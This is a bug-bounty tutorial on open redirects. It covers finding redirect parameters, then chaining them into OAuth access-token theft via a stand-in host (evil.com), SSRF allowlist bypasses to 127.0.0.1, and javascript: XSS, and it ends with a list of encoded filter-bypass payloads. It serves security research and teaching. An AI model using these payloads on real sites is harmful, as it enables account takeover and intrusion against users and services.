Learning about Open Redirects

Learning about Open  Redirects

Simply put open redirects are urls such as https://www.example.com/?go=https://www.google.com/, which when visited will go from example.com -> google.com. The endpoint you are investigating will contain some type of redirect parameter or URL which will redirect upon success. Imagine you are attempting to login to example.com and the endpoint you are on is, example.com/login.php?returnUrl=/help. Upon logging in the web application will redirect you to example.com/help. Your job as a hacker is to then see if you can redirect to your site after logging in.

This is what open redirects are in a nut shell. Plain and simple, it'll simply redirect based on your input.

Typically companies/bug bounty programs consider open redirects as low impact, so this means that not only are they easy to find, but if any filtering does exist it is usually relatively easy to bypass. It is a good idea to hold onto some open url redirects when hunting as these can be used to bypass server side request forgery (SSRF) filters and you can turn your redirect into a high impact bug. With that said open url redirects aren't only used for bypassing SSRF filters.

Finding open url redirects

To begin with let's start with finding an open url redirect and explore common places to look for them. I will always start with dorking since Google knows more about a target than me, so let's see what google knows first by using site:example.com inurl: and then playing with the following dorks: (and also try come up with your variants, you never know what you will discover!)

  • "go"
  • "return"
  • "r_url"
  • "returnUrl"
  • "returnUri"
  • "locationUrl"
  • "goTo"
  • "return_url"
  • "return_uri"
  • "ref="
  • "referrer="
  • "backUrl"
  • "returnTo"
  • "successUrl"

None found? Ok no problem, lets start using their site and look at common places. From my experience most sites usually redirect the user after some type of action such as logging in, logging out, password change, signup. The parameter can usually be found in the URL, or sometimes you need to hunt in .js files for referenced parameters. It is highly likely that the login page will handle some type of redirect parameter so make sure to look deeply!. Once you have discovered one parameter name used for redirecting then typically developers will re-use code/parameter names throughout so test this parameter on every endpoint you discover.

Using the open url redirect

By this time we would of found atleast one open url redirect, and if not, get back to hunting! However once we do actually have a valid redirect, what can we do? Apart from redirect (which is considered LOW IMPACT), we want to create something with HIGH impact. Below are the most common things I will try with an open url redirect:

Leak tokens via mis-configured apps/login flows

When authenticating on certain websites they will use an Oauth flow which will look like: https://www.example.com/oauth?client_id=123&scope=email&response_type=code&return_uri=https://www.example.com/callback. The way this works is when you authenticate it will return to https://www.example.com/callback along with a ?CODE=, defined in response_type=code.. Changing this to token= will result in #access_token=. The way it works and the parameter names may vary.

After redirecting, this access_token is your unique single sign on value and identifier. This is how the web application knows who you are. It's convient for developers and users, but it's open to attacks.

To put it simply, you want to be able to leak a users access_token so you can become them. When authenticating via oauth the final destination with the token is handled by return_uri= (the parameter may vary!), so if you are able to redirect to a site you control, you will be able to leak the token. So how do we achieve it?

Most Oauth setups will whitelist *.theirdomain.com/*, however thank to our open redirect we can send the user to the following: https://www.example.com/oauth?client_id=123&scope=email&response_type=token&return_uri=https://www.example.com/redirect%3Fgoto=//evil.com. In most cases adding response_type=token is important on most oauth web applications as the hash fragment is smuggled in the redirect, and it's usually a working access token. code= typically has to be "exchanged" for an access_token which will happen elsewhere. So with that said, what will happen is:

The user will authenticate and the token will be generated.

The web application redirects to https://www.example.com/redirect%3Fgoto=//evil.com#access_token=123

The web application redirects to //evil.com#access_token123

As you can see, we used the open redirect to "smuggle" the users token to our address. One of the most common issues researchers run into when testing login flows chained with an open url redirect is not testing encoding the values correctly and the redirect fails. For example if your redirect looked like, https://www.example.com/oauth?client_id=123&scope=email&response_type=code&return_uri=https://www.example.com/redirect?goto=//evil.com&thisisneeded=test. The extra parameter is needed for the redirect to work, so always try encoding:

https%3A%2F%2Fwww.example.com%2Fredirect%3Fgoto%3D%2F%2Fevil.com%26thisisneeded%3Dtest

Sometimes your flow may need to redirect twice, so you can try double encoding on the FINAL URL. The reason for this is because on first redirection it will be url encoded once, then again on the second. If it's already fully url decoded on the first then it may fail.

https%3A%2F%2Fexample.com%2F%3Freturnurl%3Dhttps%253A%252F%252Fwww.google.com%252Fredirect%253Fgo%253D%252F%252Fevil

Bypassing blacklists for SSRF/RCE

Some websites will blacklist some requests to only allow requests to theirsite.com or /localendpoint. Armed with an open redirect on their domain, depending on their framework and how they handle redirects, you can sometimes bypass their blacklsit and achieve SSRF or RCE (depending on the circumstances). Imagine you have an endpoint which takes an ?url= parameter but it will only allow you to input local endpoints, such as /example. Now imagine you also have an open redirect at /redirect?goto=//127.0.0.1/. Pointing ?url= to this endpoint may cause their web application to trust the user input (since it is pointing to local endpoint), but process the redirect & show you sensitive information. Remember this is a redirect from their domain which means you have level of trust via their domain (think if you need the Referrer header to contain their domain, now you can)

XSS via javascript:alert(0)

This does not work everytime and is dependent on how they are redirecting. If it's a 302 redirect then it will not work, but if they are redirecting via javascript then it will work.

<script>
top.location.href='reflectedhere';
</script>

When looking for these types of XSS vulnerabilities (via redirect), always look for strings such as window.location, top.location.href, location.. If you see a redirect via these methods then you will be able to achieve XSS as long as no filtering is stopping you.

Common bypasses

  • \/yoururl.com
  • \/\/yoururl.com
  • \\yoururl.com
  • //yoururl.com
  • //theirsite@yoursite.com
  • /\/yoursite.com
  • https://yoursite.com%3F.theirsite.com/
  • https://yoursite.com%2523.theirsite.com/
  • https://yoursite?c=.theirsite.com/
  • https://yoursite.com#.theirsite.com/
  • https://yoursite.com\.thersite.com/
  • //%2F/yoursite.com
  • ////yoursite.com

https://theirsite.computer/

This is when .domain.com* is whitelisted and you can use .computer domain!

  • https://theirsite.com.mysite.com
  • /%0D/yoursite.com (Also try %09, %00, %0a, %07)
  • java%0d%0ascript%0d%0a:alert(0) j%0d%0aava%0d%0aas%0d%0acrip%0d%0at%0d%0a:confirm`0`
  • java%07script:prompt`0` java%09scrip%07t:prompt`0`
  • /%2F/yoururl.com
  • /%5Cyoururl.com
  • //google%E3%80%82com